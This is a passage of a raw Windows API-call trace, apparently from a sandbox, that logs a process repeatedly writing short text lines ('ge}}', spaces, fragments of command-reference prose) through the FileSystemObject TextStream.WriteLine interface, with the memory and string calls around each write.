_Destination="ITextStream.WriteLine(\"ge}}\");\r\n") returned 0x0 [0148.623] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.623] free (_Block=0x249ca447890) [0148.623] free (_Block=0x249c884ee00) [0148.623] free (_Block=0x249ca443560) [0148.623] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451928*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ge}}", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca451928*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1="ge}}", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.624] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.624] SysReleaseString () returned 0x1 [0148.624] CoTaskMemFree (pv=0x249c8761820) [0148.624] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.624] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.624] CoTaskMemAlloc (cb=0x28) returned 0x249c8761b80 [0148.624] SysAddRefString () returned 0x0 [0148.624] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.624] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.624] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.624] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767c68, pBstrHelpFile=0x249c8758f60*="鸰졵ɉ") returned 0x0 [0148.624] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767a88, pBstrHelpFile=0x249c8758f60*="鸰졵ɉ") returned 0x0 [0148.624] malloc (_Size=0x8) returned 0x249c884ee00 [0148.624] malloc (_Size=0x14) returned 0x249ca4476b0 [0148.624] _snwprintf_s (in: _DstBuf=0x249ca4476b0, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.624] malloc (_Size=0x4e) returned 0x249c884a540 [0148.624] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.624] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.624] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.624] wcsncpy_s (in: _Destination=0x249ca4d3f00, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.625] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.625] free (_Block=0x249ca4476b0) [0148.625] free (_Block=0x249c884ee00) [0148.625] free (_Block=0x249c884a540) [0148.625] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b4b8*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.625] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.625] SysReleaseString () returned 0x1 [0148.625] CoTaskMemFree (pv=0x249c8761b80) [0148.625] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.625] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.625] CoTaskMemAlloc (cb=0x28) returned 0x249c87615e0 [0148.625] SysAddRefString () returned 0x0 [0148.625] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.625] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.625] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.626] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767a88, pBstrHelpFile=0x249c8758f60*="飰졵ɉ") returned 0x0 [0148.626] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768028, pBstrHelpFile=0x249c8758f60*="飰졵ɉ") returned 0x0 [0148.626] malloc (_Size=0x8) returned 0x249c884ece0 [0148.626] malloc (_Size=0xae) returned 0x249c884ee60 [0148.626] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x57, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 86 [0148.626] malloc (_Size=0xe8) returned 0x249ca4d5de0 [0148.626] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x74, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.626] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x74, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _MaxCount=0x56 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"") returned 0x0 [0148.626] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\"", _SizeInWords=0x74, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.626] wcsncpy_s (in: _Destination=0x249ca4d3f48, _SizeInWords=0x71, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n", _MaxCount=0x70 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\");\r\n") returned 0x0 [0148.626] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.626] free (_Block=0x249c884ee60) [0148.626] free (_Block=0x249c884ece0) [0148.626] free (_Block=0x249ca4d5de0) [0148.626] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b510*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.626] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.626] SysReleaseString () returned 0x1 [0148.626] CoTaskMemFree (pv=0x249c87615e0) [0148.626] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.626] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.627] CoTaskMemAlloc (cb=0x28) returned 0x249c87617c0 [0148.627] SysAddRefString () returned 0x0 [0148.627] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.627] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.627] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.627] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768028, pBstrHelpFile=0x249c8758f60*="鮰졵ɉ") returned 0x0 [0148.627] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768268, pBstrHelpFile=0x249c8758f60*="鮰졵ɉ") returned 0x0 [0148.627] malloc (_Size=0x8) returned 0x249c884ece0 [0148.627] malloc (_Size=0xd0) returned 0x249c884ee60 [0148.627] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x68, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 103 [0148.627] malloc (_Size=0x10a) returned 0x249ca4d5de0 [0148.627] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x85, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.627] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x85, _Source="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _MaxCount=0x67 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"") returned 0x0 [0148.627] wcscat_s (in: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\"", _SizeInWords=0x85, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.627] wcsncpy_s (in: _Destination=0x249ca4d402a, _SizeInWords=0x82, _Source="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n", _MaxCount=0x81 | out: _Destination="ITextStream.WriteLine(\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\");\r\n") returned 0x0 [0148.627] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.627] free (_Block=0x249c884ee60) [0148.627] free (_Block=0x249c884ece0) [0148.627] free (_Block=0x249ca4d5de0) [0148.628] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b568*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.628] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.628] SysReleaseString () returned 0x1 [0148.628] CoTaskMemFree (pv=0x249c87617c0) [0148.628] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.628] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.628] CoTaskMemAlloc (cb=0x28) returned 0x249c87617f0 [0148.628] SysAddRefString () returned 0x0 [0148.628] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.628] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.628] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.628] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768268, pBstrHelpFile=0x249c8758f60*="饰졵ɉ") returned 0x0 [0148.628] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767cc8, pBstrHelpFile=0x249c8758f60*="饰졵ɉ") returned 0x0 [0148.628] malloc (_Size=0x8) returned 0x249c884ed40 [0148.628] malloc (_Size=0x14) returned 0x249ca447790 [0148.628] _snwprintf_s (in: _DstBuf=0x249ca447790, _DstSizeInWords=0xa, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" \"") returned 9 [0148.629] malloc (_Size=0x4e) returned 0x249c884a540 [0148.629] _snwprintf_s (in: _DstBuf=0x249c884a540, _DstSizeInWords=0x27, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.629] wcsncat_s (in: _Destination="ITextStream.WriteLine(", _SizeInWords=0x27, _Source="\" \"", _MaxCount=0x9 | out: _Destination="ITextStream.WriteLine(\" \"") returned 0x0 [0148.629] wcscat_s (in: _Destination="ITextStream.WriteLine(\" \"", _SizeInWords=0x27, _Source=");\r\n" | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.629] wcsncpy_s (in: _Destination=0x249ca4d412e, _SizeInWords=0x24, _Source="ITextStream.WriteLine(\" \");\r\n", _MaxCount=0x23 | out: _Destination="ITextStream.WriteLine(\" \");\r\n") returned 0x0 [0148.629] IUnknown:Release (This=0x249c875b4d8) returned 0x1 [0148.629] free (_Block=0x249ca447790) [0148.629] free (_Block=0x249c884ed40) [0148.629] free (_Block=0x249c884a540) [0148.629] FileSystemObject:IDispatch:Invoke (in: This=0x249c884e5b0, dispIdMember=10008, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0, puArgErr=0xa3529de300 | out: pDispParams=0xa3529de350*(rgvarg=([0]=0x249c884d8f8*(varType=0x400c, wReserved1=0xca45, wReserved2=0x249, wReserved3=0x0, varVal1=0x249ca44b5c0*(varType=0x8, wReserved1=0xc884, wReserved2=0x249, wReserved3=0x0, varVal1=" ", varVal2=0xa3529de8a0), varVal2=0x249ca477a78)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0xa3529de3a0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0xa3529de300*=0xc884e5b0) returned 0x0 [0148.629] FileSystemObject:IUnknown:Release (This=0x249c884e5b0) returned 0x1 [0148.629] SysReleaseString () returned 0x1 [0148.629] CoTaskMemFree (pv=0x249c87617f0) [0148.629] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de7b0 | out: ppvObject=0xa3529de7b0*=0x0) returned 0x80004002 [0148.629] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x249c884e5b0, riid=0x7ff9dbaa0878*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0xa3529de868*="WriteLine", cNames=0x1, lcid=0x409, rgDispId=0xa3529de72c | out: rgDispId=0xa3529de72c*=10008) returned 0x0 [0148.630] CoTaskMemAlloc (cb=0x28) returned 0x249c8761820 [0148.630] SysAddRefString () returned 0x0 [0148.630] FileSystemObject:IUnknown:AddRef (This=0x249c884e5b0) returned 0x2 [0148.630] FileSystemObject:IUnknown:QueryInterface (in: This=0x249c884e5b0, riid=0x7ff9dbaa0898*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0xa3529de340 | out: ppvObject=0xa3529de340*=0x0) returned 0x80004002 [0148.630] FileSystemObject:IDispatch:GetTypeInfo (in: This=0x249c884e5b0, iTInfo=0x0, lcid=0x0, ppTInfo=0xa3529de190 | out: ppTInfo=0xa3529de190*=0x249c875b4d8) returned 0x0 [0148.630] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=-1, refPtrFlags=0x529de188, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Scripting.TextStream Interface", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8767cc8, pBstrHelpFile=0x249c8758f60*="靰졵ɉ") returned 0x0 [0148.630] ITypeInfo:RemoteGetDocumentation (in: This=0x249c875b4d8, memid=10008, refPtrFlags=0x529de168, pBstrName=0xa3529de198, pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0, pBstrHelpFile=0x249c8758f60 | out: pBstrName=0xa3529de198*="Write a string and an end of line to the stream", pBstrDocString=0xa3529de1a8, pdwHelpContext=0xa3529de1a0*=0xc8768088, pBstrHelpFile=0x249c8758f60*="靰졵ɉ") returned 0x0 [0148.630] malloc (_Size=0x8) returned 0x249c884ee40 [0148.630] malloc (_Size=0xb8) returned 0x249c884ee60 [0148.630] _snwprintf_s (in: _DstBuf=0x249c884ee60, _DstSizeInWords=0x5c, _MaxCount=0xffffffffffffffff, _Format="\"%s\"" | out: _DstBuf="\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \"") returned 91 [0148.630] malloc (_Size=0xf2) returned 0x249ca4d5de0 [0148.630] _snwprintf_s (in: _DstBuf=0x249ca4d5de0, _DstSizeInWords=0x79, _MaxCount=0xffffffffffffffff, _Format="%s.%s(" | out: _DstBuf="ITextStream.WriteLine(") returned 22 [0148.630] wcsncat_s 